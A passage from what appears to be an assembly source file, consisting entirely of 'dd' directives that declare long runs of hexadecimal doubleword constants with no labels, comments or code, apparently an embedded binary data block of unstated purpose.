0AC049084h, 0A0C88965h dd 496BE698h, 4D235468h, 0EABF0E01h, 404ADEA3h, 0BF166F00h dd 0D766797Eh, 74A1CA00h, 91971205h, 1000B88Dh, 0C9E8CB5h dd 70304FFFh, 11C9BDCh, 0BA724C57h, 8ED83355h, 2E4CA004h dd 0F67127h, 420FFE22h, 76EABC13h, 9A51DF1Bh, 1283C9C8h dd 8C048429h, 0A43645B6h, 9A7C7800h, 0F44C0805h, 8420AE80h dd 86A2D1B8h, 586AD520h, 2108814h, 0B81A0228h, 28A22344h dd 4E465460h, 4A7FDF0Eh, 483CC100h, 24003DA7h, 94164607h dd 9B7D8F67h, 0E9E801C8h, 18CB090Fh, 0E03B888Eh, 5BDCE907h dd 0C811EF0Eh, 7BE5B048h, 4B19C88Ch, 8B4011D8h, 36530D10h dd 33904864h, 10E0220h, 8090A53Ah, 0FE407ED4h, 0A0949293h dd 16B96518h, 21ADABE8h, 190D2D8h, 4AFE1183h, 79505170h dd 2FF183Eh, 2A074556h, 3C5024DCh, 8DFCB517h, 0D919B870h dd 8BD30192h, 0E015FFBh, 8481F10Ah, 0E62D3AC0h, 0B9410B0h dd 0CFD3FF1h, 0A698A021h, 0B1E98045h, 4B02DF1Ah, 710A1BFFh dd 8E4F08Eh, 0B0988AA1h, 0E300BE90h, 21B5095Bh, 0AF633661h dd 0EFC28EE9h, 0FD886EC0h, 78F76FD3h, 38ED417Ah, 0CBEA15C1h dd 4C55DE70h, 6D804004h, 32A1BCBFh, 9DD8C904h, 0EA463E5Ah dd 0CB00419Bh, 7D76C829h, 707A7004h, 1642C326h, 2C5C5C0h dd 12BB11FCh, 449978A9h, 0B00B1852h, 961CB234h, 136C5028h dd 0B72BF60h, 29A1B14Ah, 0A3DC0573h, 78D15828h, 7CD5BE03h dd 1A419DFh, 489EC2B0h, 47F37017h, 76C0C8A8h, 46165484h dd 7AA222A1h, 2F841CD1h, 0D6BF438Eh, 0AAC71F4Bh, 530C11ECh dd 0C0B8A7DCh, 0D335242Fh, 73F82B51h, 34BC0448h, 0C921270Fh dd 51D3008Ch, 89A77398h, 0C625Bh, 534FCF81h, 3413B2Bh dd 0C6BA9850h, 0A3A91210h, 44581648h, 4A3036B7h, 0BE251847h dd 0F649C780h, 0C09D4BFFh, 0B000463Dh, 2E61E8FCh, 0E504C129h dd 7F98BE43h, 0BFDCBC80h, 0E0AE3341h, 0E2F4DE11h, 303FF28Ch dd 4003618Eh, 0BE26672Ch, 83B90C89h, 7E292B0Fh, 3438112Eh dd 0D5E01640h, 0BEACA97Dh, 0A7A2A823h, 61A69F30h, 0A1AF1888h dd 80AAF9CDh, 8C4B2DC8h, 9193EA82h, 1833D158h, 386DF850h dd 0BA05BCF4h, 0F2F9734h, 0F5C696D0h, 0E900B88Ah, 0B08F2DEAh dd 2641EDABh, 5EEC688Bh, 0E0779546h, 67DC00D0h, 0AFEEC537h dd 7D7D4213h, 0FA7B3302h, 517395B9h, 18407928h, 0AE29099Bh dd 0C8C08C44h, 57406402h, 0C0B61843h, 0E822197Bh, 0B82501E9h dd 463844E2h, 4C5A02DFh, 0C73DBA75h, 5203007Ch, 5F629B4Ch dd 2B80081Fh, 0C965DD40h, 0B89D31F8h, 72A90450h, 0B416832Eh dd 0F270107Ch, 0A88D3801h, 0E2587759h, 41B60CF0h, 0A2506344h dd 0E694303Eh, 17842E5Ch, 0BE13F0D6h, 84303804h, 6D809A48h dd 85B6F807h, 5744Fh, 0DEF4EDE2h, 0D9B92583h, 2A9F0901h dd 48D2DBB7h, 0DE232C33h, 744C5901h, 0AC6845BAh, 4C5102B0h dd 735941Dh, 31011824h, 7E5AEC1Ah, 0A0A27C33h, 0B86A30h dd 145C390Bh, 320CBA12h, 0B1128CB2h, 4408651Dh, 0E9E4C079h dd 0EB4F090Bh, 3F382Ch, 0F374E9DCh, 0F7225D8Dh, 0B5A21505h dd 98489AF4h, 38A4809Eh, 27D3831Bh, 9B4AC400h, 30BA80E5h dd 5B6618DAh, 91E03819h, 4D67A780h, 54B82883h, 0C80AB632h dd 0E9E6307Bh, 0DB460971h, 411F8D22h, 3F97E9DEh, 264C6801h dd 0B436AA98h, 7404FB22h, 0BB0A3FF4h, 2CA250D4h, 0E730A7F2h dd 406C00D4h, 0F76908E6h, 1CB8BE7Bh, 0F5B7D306h, 0B997AA9h dd 1DA81650h, 0FF10C040h, 0E82D4E26h, 0E584674h, 76DBE8D8h dd 82811008h, 0C92666B7h, 9C8150E4h, 0E2E9187Eh, 0C3092310h dd 3C009711h, 0CD99E9E1h, 94782338h, 6EB3EA01h, 0DCF41B5Ch dd 0DEB92478h, 1FADB330h, 16C8D064h, 99980801h, 93C17980h dd 0C012C725h, 1F0E5C81h, 0B8B3B246h, 25E4F681h, 29877BBAh dd 49880207h, 6884FCC1h, 8C99BCACh, 0D8061D03h, 0C4C8E2BCh dd 57ECA0B1h, 0FE8B437h, 0F495FC40h, 78A7D053h, 0F5FDB8C0h dd 0D36801B0h, 1AB12A3Ch, 3BC3404h, 0FC24354Ch, 0CE008C4Ah dd 246A47F1h, 408837Bh, 98C1BC1Ch, 0C37498ABh, 0AA302841h dd 6ED94EBBh, 6345009Ch, 0A4749C4Ah, 943F70B5h, 0B78E852Ch dd 5AE4D1EDh, 0A5B05092h, 0D300661Bh, 78B65661h, 0B93C9Ah dd 0AB3F06B3h, 6412BB82h, 0F9842350h, 16222731h, 10364F43h dd 0E4BF0C02h, 11C0EA3h, 0B5BF1469h, 0C9151A8Ch, 0EDE98B25h dd 90B7DCh, 6C56B0Ch, 6A017451h, 34C213F0h, 589340D7h dd 9828805Fh, 2C941BAFh, 0E58467Ch, 0C4C821F1h, 0B0B4C616h dd 0A8221409h, 15148855h, 5C3E0CB6h, 647D4696h, 23943ACCh dd 420F1D3Dh, 0A5987144h, 0C2001044h, 74E8F2D2h, 0BE70E78h dd 2A6114D1h, 43362402h, 0EAD51F00h, 3A83014Bh, 102814BEh dd 136F056h, 48F36B1Fh, 465ECC6Ch, 1EF003Fh, 0A3AFC0BCh dd 0A29C34B5h, 774A2F0h, 6EA04A6Dh, 0E7D3F400h, 9FF50E96h dd 0C1C00F4Bh, 0B08EAE53h, 23409FAh, 0C80D147h, 80445C0Ah dd 19C35303h, 0E08C8B6Bh, 1E5A4912h, 0C07ABA2Dh, 4448F7D2h dd 51E0E93Bh, 5120B13h dd 0B43EC8C4h, 1143223h, 0DD8A00D9h, 2069AB1h, 0F8924Ch dd 0C644B07Ch, 9308F168h, 32E95004h, 0D37E92h, 0D0085075h dd 720F8C15h, 0D6165884h, 3FCD4038h, 7700847Ah, 0DEC704D2h dd 0CC59ADA1h, 7C542EBCh, 1A035000h, 5EDB84B0h, 23EC3AA2h dd 94611457h, 21DF4009h, 3041E8E2h, 600FE62Fh, 9850137Bh dd 0D45A4C5Bh, 418D2780h, 0E41F84BFh, 296D0D40h, 11A81D44h dd 4ED880A6h, 14B53DAFh, 34BD2633h, 4C12A905h, 0CEDC2454h dd 0C09A8808h, 1A719BD4h, 9740A7F3h, 803891C8h, 8B6A4C9h dd 4A1A000Ch, 0ADA25E16h, 0B0946FE4h, 0A83DE08Dh, 40F26872h dd 0C2D41C31h, 71E024EBh, 0C58D09C8h, 12467C52h, 59847302h dd 1C6916h, 20847BCEh, 0B71AF524h, 0B18F2205h, 4CA1638Eh dd 97B81478h, 8817008Ch, 0F3E88074h, 700C3F02h, 0A02EC6FDh dd 411D2D36h, 0E9204416h, 786C9367h, 463B7B83h, 0DDE00917h dd 33C8617Fh, 0E023E361h, 814BAEC2h, 5070FB12h, 0AB0BFCBDh dd 8220E4F0h, 123F844h, 2B94CDA1h, 0D837804h, 74AB6CB4h dd 948E5163h, 59F05466h, 0C00E1005h, 85168E2Ah, 8CD29869h dd 5A80D2F9h, 73E020CCh, 0D80C0C57h, 0F8A2DD71h, 3C133083h dd 4CC5A391h, 0E9A8A663h, 943906E8h, 58A7C9D7h, 3EFD8813h dd 74C8F413h, 55BF2776h, 4CE4D409h, 2F148318h, 7CAE2159h dd 0F06082B0h, 40B4661Ch, 465CA8EAh, 5A3C33h, 0ABF67C74h dd 38E632E8h, 74484090h, 70D59880h, 38282A05h, 4CB4C446h dd 0FF471DCh, 8B44330Ah, 0AC4B9A20h, 4900F323h, 60017016h dd 5A067531h, 8B3413ABh, 0C5A3C854h, 0ECA4A010h, 40314C09h dd 0E6E492FEh, 51A1778h, 0DFB0C022h, 9586CA1h, 14BA0C18h dd 4B3619A6h, 0E20484E5h, 3140F2D4h, 8AA060C9h, 424EDCF2h dd 8D23142Fh, 31423900h, 5D2D3C9Dh, 8301852h, 10C9094Eh dd 7A24F24Ch, 0E9E7048Ch, 0ACD3090Ah, 0DF42B038h, 0DB6600E9h dd 34BBA408h, 58C035B7h, 4F8ADE98h, 0AD77264Bh, 685349FCh dd 0C55AA70h, 9059AE88h, 2501B019h, 70959ADCh, 88C55E3Bh dd 46B4860h, 5AF8544Eh, 0AFE8B074h, 0BE7CBCF4h, 97470527h dd 809791F4h, 79DF5237h, 536916CDh, 420815Fh, 0D8343449h dd 0D08B9E02h, 5974BFC7h, 60DCD3BCh, 1E9533Eh, 621318EBh dd 2F157CAFh, 0E84B4840h, 2608E28Bh, 748450ABh, 4B005846h dd 193E7F69h, 0D64D2D70h, 0DF8E04B4h, 2CBD9BA5h, 4A345A10h dd 0A4233C2Fh, 6F329E00h, 78082585h, 9590EE56h, 0F2335437h dd 0A267F0D5h, 0A7DC2DB5h, 0A8E57CA9h, 0A5633EE4h, 6DE8C7C1h dd 39680264h, 4AF84B7Fh, 71BC597Ch, 0E831899h, 6411771Ah dd 40218BAEh, 322B62FFh, 3F7512ECh, 17688449h, 818C91ACh dd 52219C8h, 24268C29h, 25803DA0h, 0EE132ABEh, 8007C70Dh dd 0E2B5B55h, 5CC40997h, 760110ECh, 0C40AA911h, 0B510A752h dd 804B1184h, 22E3F24Ah, 6E90064h, 5C83A23Dh, 36077408h dd 193137C1h, 0C8FE0E80h, 8EE9096Eh, 9045E078h, 0AB60A4E4h dd 0F10619BDh, 4C9CEBD6h, 6B552D68h, 0DC004C0Ah, 7490EE13h dd 0C5944C2h, 962D14F0h, 422C1838h, 1346842Ch, 5A847402h dd 5C947116h, 847CCF07h, 4D501A44h, 2CDE0BBFh, 41A8396Ah dd 6489DF6Ch, 24B46FD8h, 0C088ED25h, 9A7D6BEh, 0FD73C0FEh dd 0D95C017Dh, 80D71094h, 58A82C90h, 0D712008Ch, 3FD5C3A3h dd 9E052B61h, 836605E9h, 4EB160E6h, 0ECF8DE1Fh, 811B20h dd 60EF5E3h, 6195A454h, 213E276h, 0A4801CF0h, 818EACD6h dd 0B46B2B68h, 11E4272Eh, 0B6590F2Fh, 575039D0h, 0ABA26833h dd 18EA30h, 8DCB4C60h, 364EF9B5h, 24612261h, 0F681F33Eh dd 9338BE30h, 0E975FC6Bh, 0C02EDC5Eh, 0EE008C7Ah, 0F84D0C04h dd 7B4A7071h, 8E21C005h, 0F9F21EA7h, 99D5DA00h, 67550FE3h dd 0E500191h, 8A539C4Fh, 4C032B60h, 0A56FC925h, 98B228B3h dd 12D7E30h, 0DB16C1FBh, 0BF3F0378h, 0AF740E89h, 19026158h dd 0E8F0F9FAh, 0CBC2026Dh, 4C1128C0h, 3D2FA474h, 7B050700h dd 726800E6h, 0AE1841A1h, 0B1813A04h, 57FF0074h, 3E62ACDAh dd 0E93FF5D9h, 0E888DCA1h, 0BEEC8C8Ch, 83A1980Bh, 1C342207h dd 9588526Ch, 5FD79C23h, 5451E49Ah, 70183879h, 0E77D9B0Eh dd 1988824Ch, 10587EF5h, 4F070978h, 642CCD83h, 0E1F8B8CBh dd 1FD25F12h, 0AD803211h, 0A5795468h, 5B009AEAh, 35B11314h dd 25E874DDh, 444812F2h, 970978ABh, 5108D6F8h, 6804A750h dd 0C550A9A6h, 0E0A45403h, 8AF700DBh, 0B7045617h, 0A900ED50h dd 0D21820AAh, 123E3696h, 8B02BD3Ch, 0C099C818h, 0DCDA922Bh dd 0C95DD01h, 9D9381D8h, 0F510AC2Dh, 0B07E2E42h, 11140800h dd 3A8EDC53h, 0C81EBC2h, 0B40AFF10h, 0C3B8A542h, 0C72DC240h dd 63AAC40Ch, 0F0FBC076h, 8FA758A8h, 0A178D101h, 6A9F74B5h dd 0B4FB822h, 0E0946C61h, 0E69FE3Fh, 70B45B79h, 0A73DA642h dd 68DA31BDh, 218095E9h, 0DFFC9864h, 9E02A9C3h, 0AB5BF338h dd 0E9A4A37Ch, 0BD29009Ch, 0FE1F5F80h, 6600AF1Dh, 0BED9A9E8h dd 10C7DB7h, 1AEDE48Ch, 2B832EF3h, 3723D82Eh, 6084B400h dd 3A530ED4h, 29CDD44h, 0C85003E9h, 58BAA8DCh, 0ADA9C4A0h dd 0C8D276D8h, 41BB04F0h, 88602F7Bh, 0A09BE5D6h, 8681C9FCh dd 0C49A120h, 0A044ADA3h, 1A2D0548h, 86440F9Ch, 161ECBDh dd 0EEB08EBBh, 3F82D42Fh, 1F17306Bh, 40940057h, 58C741ACh dd 3756B425h, 85840704h, 0BBC2934Eh, 418859A8h, 0DC60930Eh dd 408DE271h, 0D4809803h, 94C3046Eh, 0EA899DFh, 30CE00E2h dd 5C61CB53h, 4BE8105Ch, 7776068Ch, 4070BBB9h, 918497B5h dd 78A180A6h, 18DFB761h, 613E0380h, 0EF74C277h, 0E076500h dd 0B0F36E78h, 5BBF0149h, 58CED08h, 28D44912h, 8C32BC00h dd 24424000h, 9F9695F2h, 84021808h, 5ABC5050h, 73FCA097h dd 1F34F6h, 78F84625h, 12948EC4h, 75E94C07h, 26E05210h dd 948F6B8h, 9DA989C0h, 4BD134F1h, 0D61C0F18h, 0C28F2A10h dd 0D7401FD2h, 0F1A81A74h, 0B658D28Eh, 0AD0FE058h, 803C94E9h dd 365A5D34h, 102D0623h, 8F1024BBh, 0A078D4C1h, 72158301h dd 0D6107F9Ch, 0BB248CA8h, 8019351Ch, 0D40A86E0h, 8B788CB2h dd 0D0120616h, 0C2DB90C0h, 3D5C9960h, 0A1B169E0h, 221A8970h dd 4C2836E4h, 0D1F4B148h, 1161899h, 2621EA63h, 802536C9h dd 0AF3781A1h, 130EFB5Ah, 0E4D4C5D9h, 5309152Ch, 32760C48h dd 797079F8h, 46C183Fh, 0FF34BC8Ah, 29ECF048h, 0E2C321C7h dd 63AB3260h, 0EC9007Eh, 0ED9A33D8h, 0BD137641h, 6F06C2h dd 8065F40Ah, 7BE408D8h, 0E18E0100h, 30A3197Fh, 48E94003h dd 0CD001168h, 37276918h, 0FCB886C0h, 0AC0E0031h, 8B7E01EDh dd 0C348EB9Fh, 8CA7E8E0h, 16841358h, 4E2CF4Ah, 83117900h dd 0BA5DD7A5h, 0C2818B00h, 983C9340h, 6E7E4FCBh, 58180200h dd 60DB2F71h, 0B4105C5h, 8CD0C5A4h, 0BC2978D2h, 8902E44Dh dd 0F421CC0Ah, 9C708980h, 0A80050FBh, 91D17619h, 0A9F01385h dd 25B0D1DFh, 62C848BCh, 0B72AE16h, 948EE084h, 37C05988h dd 1314ECD0h, 0D1A5D9E0h, 94466ACh, 0A288BC0Bh, 45566C1h dd 200C429h, 7488D98Ah, 8D01AEB2h, 1CB7ABE6h, 39C904BEh dd 10E6892h, 5C7D47A3h, 59C02C88h, 7C8EC60h, 34DB93AEh dd 1BF83EDh, 0F5B5A3C1h, 0E83300AAh, 4F8109D2h, 0F0516C50h dd 1F540284h, 93384812h dd 264F8701h, 298455C7h, 526C2209h, 8B23106Eh, 59701A01h dd 6872AAF0h, 2F4B5058h, 3382364h, 5771406Bh, 0FCA3A0DFh dd 0BD17A422h, 20299D44h, 3788744Eh, 0E974A2CFh, 3A1CE0A6h dd 876928B0h, 27F27ED8h, 0A0974E7Ch, 1381A391h, 0F299D794h dd 8001D87Eh, 8DC9E654h, 0AABC8478h, 6328018Ch, 0B7CD4EBFh dd 0E62DD8C3h, 0B60A289Ah, 54C41073h, 38AB465Ch, 0C0D400CFh dd 0D3126067h, 0AC4B0075h, 0F35E5680h, 5CB90140h, 4000ED4Bh dd 2DB8D524h, 687B231Fh, 220B72Dh, 4C7D739h, 385644EAh dd 374676h, 4DAFF8D1h, 1A14B64h, 43A7B7A8h, 7C42DE2Dh dd 0E8032F20h, 9D0DC4h, 474A246Dh, 96856639h, 0C8C1CE4Ah dd 526FAE98h, 0AF30635Ch, 0E960E390h, 0F0C5A113h, 0B96104E0h dd 0B871492Ch, 0D6185759h, 0D724874Dh, 9300006Ah, 9C1F11DCh dd 0C2098EF7h, 425073CBh, 0F93CF968h, 2481832h, 9CD66D1Bh dd 30644AE3h, 2E07745h, 934643A4h, 8DC8908Ah, 0AF3A07CBh dd 0ED2B820h, 5AAF6EAh, 0F5E29102h, 0A398C807h, 7860AD26h dd 972540A4h, 803891F4h, 482A835Fh, 6BA80022h, 0BC8C960Ch dd 4B5E622Ch, 9B7E002h, 0E207A3h, 0BD61AC39h, 7D297A00h dd 701BAAE9h, 8094B9F3h, 9B16514Dh, 80B538Ah, 9D81A1FAh dd 8096114Ch, 6CDA21E3h, 0A80405F2h, 13E73EF7h, 8800CFE4h dd 91F1C33Fh, 2F3EE010h, 18B01A16h, 3340E0FEh, 0BA7D461Ch dd 0C8E67392h, 0B5A205E0h, 2497BC2Eh, 4EE40A84h, 4FB6822h dd 1C843958h, 2FBD2953h, 5A090E1h, 0B86FB412h, 154CF903h dd 0BAA0D880h, 0C5321736h, 93B8A1h, 6ADA1205h, 6DC40997h dd 217160BCh, 537E7B17h, 0CCDABB00h, 92C1C3F3h, 1CAF1DBCh dd 51ED02CEh, 24D3831Fh, 23BC558h, 23E7877Dh, 7C5667EEh dd 384674h, 9F0C1B11h, 1259602Fh, 0E3834905h, 3396A2CCh dd 30E78D99h, 4B764550h, 0E5BC600h, 480454F7h, 8A68B8C0h dd 0D69C7CDCh, 327F8E00h, 0A1EBE7FEh, 11DF106Ch, 0FC9D4B7Eh dd 0A3AC446Ch, 981F128Ch, 5BF4D3ACh, 790CD9CEh, 0D21D422Fh dd 0D6680792h, 4074EB99h, 0F1BC76F4h, 0E8FA481Ch, 3BF73100h dd 0B49412F3h, 7B158CC8h, 55888251h, 0AE08020Eh, 192EA2F9h dd 1D689C60h, 3C2F7681h, 0C28841D0h, 0F28470EBh, 0B8140A45h dd 7CA895B1h, 7A004B46h, 19F7A3C3h, 6AF9DEC2h, 343AF816h dd 5200A623h, 0F2F145F9h, 0B18E0189h, 0AE49B75Ah, 2F83C5Ch dd 0C6266487h, 426CD43Ch, 0CC5E6B0Fh, 91EC213Dh, 44885F35h dd 62304808h, 1D6AF101h, 3E4359EEh, 51047027h, 0D2C5ED00h dd 49584041h, 1A0981A4h, 0C8533E1Ch, 0BA510537h, 53B2F34h dd 5AB050B4h, 28DE2040h, 34F4674h, 162D53C5h, 9E6BA0CBh dd 204C9077h, 0E0238FEh, 48F4704Ah, 4A84F416h, 73490026h dd 1CC8C988h, 0AF7D7C01h, 30DEFD39h, 90438A4h, 8840D4ADh dd 0F21C1B5Ch, 0E0E52D33h, 50EA417Ch, 0D76C9C46h, 0F05CE6C0h dd 4E6E142h, 0B5A3781Dh, 93CB0D8h, 39E02A12h, 0AF0420A7h dd 0F932FC0Ah, 5C4204E4h, 5A42F8A8h, 0F4A18D39h, 0AE417A09h dd 465E0C2Ah, 32F80033h, 0A2A6D98Eh, 16720968h, 0BCD0C9C0h dd 0C2716725h, 7950F100h, 90CF1997h, 12536DEEh, 0F75F25F9h dd 0F5A3F0A4h, 19C605C9h, 0AD2F5E2Dh, 17DC2534h, 804B11ACh dd 0CD1E8A37h, 32E90B2Fh, 0DCD03EC4h, 0AF2BD504h, 94BC60B6h dd 28BDA405h, 0D32CBC83h, 3723282Eh, 1E4DB701h, 4CFCE8E2h dd 5DDE0CCCh, 78E1865Ah, 52EF3Bh, 6448B14Fh, 27183B04h dd 0F4130F2Bh, 0C1003DD3h, 90C54F33h, 14A8B55h, 0E8791D8Ch dd 280F0B72h, 8CA1BC6Ch, 48100D0Bh, 0B8C081E9h, 887CF2CFh dd 0AFC12584h, 7B19E837h, 0C895A5B4h, 0DE80A191h, 6E914E7h dd 10683F5Ch, 64507234h, 14C34825h, 28120983h, 8E0388A6h dd 0F22AAB0h, 0F85083F3h, 0E6D46F10h, 1284B0F2h, 0F4C0B81Fh dd 0D0A87764h, 855ED796h, 14B02417h, 44484CD3h, 8C59FCh dd 0DD9FBD46h, 0E8F9B825h, 2FBFC6E8h, 0A004F23Ch, 1007A09Dh dd 0D6449107h, 4B7C6888h, 0CCE23484h, 9F3057F2h, 4A333C40h dd 0C84CCECBh, 0FCD2C0A0h, 8813FF95h, 3C44BC0Ah, 0A0A28B41h dd 65308EF2h, 0A4022781h, 80747C84h, 1C4CFAA4h, 2598DA3Eh dd 5AE8C1E8h, 0B3900FFh, 0D8792B73h, 9D1D60E3h, 6A0332A4h dd 0B1C6368Dh, 14620665h, 506E4Bh, 0EB294FF1h, 52603A4h dd 0C3BD3133h, 0C118E1C0h, 5CBD0592h, 48A48C21h, 0C98465Ch dd 3AB32E16h, 87C4824h, 0A8B1EF05h, 0BC20EC89h, 0E0018C98h dd 0C696A255h, 0C842B59Eh, 90E6277Bh, 97894E10h, 54162C90h dd 4C44EC41h, 3BAF42DCh, 13723FCh, 7149D6F7h, 3BED813h dd 5B24B00Ch, 1C67983h, 0BA13412h, 0EC4B3E91h, 0D500B232h dd 43A37B6Dh, 0B233522Dh, 2C609BA4h, 8CC9251Ch, 33BFD171h dd 33ABA214h, 9F9B11F8h, 4D049307h, 0D8928B24h, 3848D431h dd 0B997AE92h, 0D9483014h, 6258BE23h, 73E988A1h, 0A0F11CD9h dd 0BC580518h, 1DE0786Bh, 1ABDC1ECh, 516C7B6Ch, 4D88701Bh dd 380BB0B2h, 823CA3C7h, 12CFB98h, 708AACAFh, 8248A1EEh dd 8C99E824h, 3FB86E00h, 0EC59A72h, 8DF932D8h, 0CFC9370h dd 0D2FD4006h, 4700BC99h, 1A68E049h, 826CAA3h, 120B0018h dd 0A51CD13Ch, 8C915C17h, 1E86B980h, 8760BF26h, 0E20E6219h dd 44D812D1h, 5B5CE855h, 170944CCh, 22579022h, 0C85CC48Ch dd 0C0CC6D2Fh, 0D81417C9h, 9CE1A54Bh, 5C473C30h, 56E81CBDh dd 0A4780E8Ch, 458B0208h, 0F9B09020h, 6B4CA1B1h, 8C9AE8A4h dd 7503D772h, 85BF8E2h, 941C7CAh, 6C60D580h, 12E9EC06h dd 0C01DE014h, 16EABCF0h, 34A1B82Ch, 0EDCA8AEh, 0F495FF10h dd 0EAE85080h, 410BA34h, 0AF272F6Eh, 31003459h, 0EF2EDBFBh dd 0D63E0001h, 67929713h, 9A002B94h, 0D162D887h, 312CBC20h dd 0AE403276h, 0AD34E118h, 4018CF38h, 45058B96h, 0A436BB02h dd 4079B0D5h, 5E12A904h, 0B5CC4280h, 500178F0h, 54D9D598h dd 25B8547Dh, 97041309h, 8E2461F9h, 17CD6610h, 27F426B0h dd 9B00F27Ch, 960EA941h, 1381E7FEh, 61C0FECh, 9953487Ch dd 0A0BCAD10h, 0EC145407h, 786001E8h, 0D6346824h, 0B0E044E6h dd 5F004D37h, 0C3B18EE1h, 77BE75FEh, 7A464EFCh, 2C5E24D4h dd 4E06D1Eh, 0AC986213h, 82B04942h, 75537207h, 10B830A8h dd 885A85DDh, 83639840h, 1F04FE6Dh, 0DEE89A6Ch, 0A71C7E17h dd 0A449120Ah, 8E3C6A74h, 0E89C483Eh, 99008C97h, 0EA6260Fh dd 0B4B65B5Eh, 0CE230400h, 0A84ECA8h, 9C273752h, 76980280h dd 739712Dh, 86CFD5E9h, 0DB579195h, 59D1A752h, 80D31C68h dd 807F026h, 130B6346h, 1D67FA31h, 803D91B4h, 1CC26A58h dd 601DB5B5h, 0D6845711h, 1420BE6Fh, 4F85A77Eh, 23D06F8Ah dd 18F10FA7h, 0E22DBE80h, 0CF4C7076h, 0B2811098h, 98ACCC5Bh dd 80D9AF69h, 4492B24h, 2C884FD4h, 8016C2C4h, 0F8B62EA1h dd 0DAA9C1E3h, 0C8F2FFEh, 0AB004D22h, 8817C378h, 5F2A0728h dd 0CFC88708h, 772200D6h, 2D2C0145h, 4CB3424Bh, 0F73140B2h dd 5C54E820h, 7884706Dh, 8C210045h, 0B9CC1283h, 1834F9C4h dd 61F70958h, 7C9C0Bh, 0C400743Dh, 592C9D34h, 4E258F7Ch dd 0E9FCE4C7h, 0DF8284A8h, 0B1BD3F05h, 78C2FC09h, 8E028B7h dd 88068001h, 97499CFDh, 88DBA02Bh, 6EBFD073h, 89E10468h dd 0D120D5A3h, 0AD7BE970h dd 0C554ED29h, 5D708111h, 8F5858B2h, 5EB81A88h, 1B8D75Dh dd 60A94E31h, 89006198h, 71156C01h, 9F0448F3h, 0A17D420h dd 680FCB05h, 2151F1FFh, 0C991C4B4h, 58C1E9F0h, 0C55BA2E0h dd 239C3AB0h, 1ABA05A1h, 169C810Dh, 8518695Dh, 98E842AEh dd 8C37ECh, 33B48BD3h, 0E1CFCA3Eh, 70625E04h, 16BE820Dh dd 0E04CB610h, 3BAE54C1h, 7482A2F3h, 480206FCh, 7C13507Ch dd 25A4F8B0h, 98179E46h, 0CB80A791h, 6B3F95BCh, 59E01613h dd 27BA5CF0h, 18825614h, 24F64C36h, 7390D325h, 0DE63CBF0h dd 0B2B92017h, 0AB8850CEh, 839710C0h, 0B8B1071Dh, 50EC9E5Ch dd 3230B9D5h, 58A69D4Ah, 0D3285E0h, 60C0564Bh, 5C409C33h dd 368B3003h, 4F7F0810h, 7214DAFAh, 8962BDh, 0F1C084F3h dd 172E9C27h, 3AD9B926h, 7A32360h, 892F05ACh, 32113C1Fh dd 7262CA80h, 1E023CC1h, 100A06B1h, 8368E84Dh, 20D490EDh dd 6A978145h, 0D8B57D74h, 0B0C4DBBAh, 0AB23742Eh, 54FAFD03h dd 44D688EFh, 14CC1CB5h, 6FDA561Ch, 64F70280h, 6048FFD2h dd 8098159Ch, 20B5E8E3h, 0D0FB5038h, 0EDF1000Ah, 0D15A1CBDh dd 1424C3C2h, 9C11948Ch, 9EDB3600h, 572BDD53h, 9D709000h dd 4219A9D6h, 41FB0B9Bh, 3882932Ch, 3CD62739h, 0FCBC8C60h dd 0F4474BBEh, 9F403DF4h, 0BF8098E2h, 884EF029h, 403C4D95h dd 0FB944967h, 7CFA0E04h, 0D491F5D7h, 0FC2381B3h, 9930A3A2h dd 2F9D5F31h, 4F2394h, 38324567h, 0D312D2A8h, 0E8AC54CBh dd 7DDA4180h, 0BDEA7AA9h, 12153909h, 7DB01248h, 2DAF8490h dd 6BDB2900h, 0B609B86Ah, 0C4250BAEh, 64E98DE6h, 890FD278h dd 744C74B9h, 4000AA46h, 412303EBh, 0C916ED4Ch, 28C95FC4h dd 80389B3Bh, 43EC9F56h, 0B12D0136h, 34BC7BA8h, 70F2C637h dd 9A4F337Dh, 4E11017h, 8CBC583Ch, 3430178Ch, 706404E1h dd 29F0192h, 3F0551F8h, 1CA023C8h, 0F8100293h, 0B77D67A6h dd 0FD42030Ch, 0A0AE6371h, 28D4C20h, 0C8EE0E5Ch, 18CDE765h dd 9053A1E3h, 0A05B546Bh, 0BD4583ACh, 73659899h, 30AAF288h dd 0C000F190h, 0F76B8ADBh, 0E2264C52h, 8F7C20BFh, 9FEC0C9h dd 0BD9C026Ah, 0BEAA0485h, 14A6D057h, 2878CE0h, 224C7C27h dd 0B75A034h, 6C9CCCD2h, 0FA672ED6h, 37040808h, 838A5101h dd 64756411h, 8C049B3Ah, 403CA06Dh, 83D5C6Fh, 0F0E24BE0h dd 23842B5Bh, 0ACFB004Eh, 1021021Dh, 0D80B88E2h, 8C0A0953h dd 0BD1EB87Fh, 569FDCA4h, 3132D004h, 0E2AC74EEh, 3056F29Ch dd 0E824F62Eh, 0AA800498h, 0FC2AEE05h, 683C00E0h, 0C6619F54h dd 3914DD36h, 92881783h, 9F8110E8h, 0E834C6B0h, 5C007CC9h dd 2D58F422h, 27E30CECh, 88340BD3h, 0B584730Ch, 6A09D3h dd 14B1602Fh, 5A9B1D7Fh, 338A1F00h, 3259B856h, 7B21C04Eh dd 62A82BC2h, 0F275311Eh, 92A3BA06h, 0A58B1810h, 0CEAE285Ch dd 54304260h, 0FB61DA8h, 69372D01h, 0FA1F2018h, 8CCAD603h dd 13AAD9h, 3AF0D551h, 51C9B12Fh, 887471C1h, 0C9317E1Dh dd 885D5808h, 1D01800Dh, 6BE63716h, 19804DC8h, 8A921132h dd 0E5119684h, 4C0159C7h, 0FCD1A101h, 7C87E452h, 2AC82600h dd 4B28B491h, 6F38F254h, 2963A9B2h, 0E0EFA5ECh, 10306413h dd 21BC08CCh, 0EC210072h, 1C018E27h, 0B300578Ah, 8D6714B8h dd 0C0BD0FB2h, 989ECFD8h, 1C017789h, 0B76E2CE7h, 2361C2DBh dd 8CB27C08h, 7F1D8904h, 0E86763DBh, 1D810E87h, 88E0803Fh dd 3859DD49h, 43B11BDFh, 8530A460h, 0A2B25528h, 0D52FC400h dd 0CF393B23h, 978EC520h, 0B1B68078h, 5DD72218h, 3C7B8029h dd 84838591h, 74DF3370h, 21680830h, 191839Eh, 3B39B6E6h dd 41295985h, 5038BB4Ch, 92D618FCh, 44F68D07h, 8F30A584h dd 0A4E88AFh, 0A2C55D85h, 60214440h, 0F284917Ah, 66448C7Ch dd 91821D9Dh, 8932F01Ch, 0DB0CD569h, 50B8A3CAh, 97441A49h dd 28B7E846h, 0C200DDA8h, 19261E7Bh, 3FE4C3C8h, 0BC186055h dd 0A70FE12Ch, 0B62BF200h, 0AE50959Ch, 4508CCA4h, 